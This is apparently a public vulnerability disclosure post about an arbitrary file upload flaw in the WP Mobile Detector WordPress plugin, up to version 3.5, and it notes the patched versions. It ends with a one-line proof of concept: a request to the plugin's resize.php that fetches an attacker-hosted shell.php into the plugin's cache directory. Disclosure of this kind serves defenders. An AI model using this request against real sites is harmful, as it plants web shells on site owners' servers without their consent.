Hello,

This Vulnerable has been disclosed to public yesterday about WP Mobile
Detector Arbitrary File upload for version <=3.5 in which attacker can
upload malicious PHP Files (Shell) into the Website. Over 10,000 users are
affected, Vendor has released a Patch in their version 3.6 & 3.7 at
https://wordpress.org/plugins/wp-mobile-detector/changelog/ .Even Sucuri
has published one advisory on it.

I have wrote a Complete POC post:
https://aadityapurani.com/2016/06/03/mobile-detector-poc/

I have made a POC Video Here:
https://www.youtube.com/watch?v=ULE1AVWfHTU

Simple POC:

Go to [wordpress site
path].com/wp-content/plugins/wp-mobile-detector/resize.php?src=[link to
your shell.php]

and it will get saved in directory
/wp-content/plugins/wp-mobile-detector/cache/shell.php

Warm Regards,
Aaditya Purani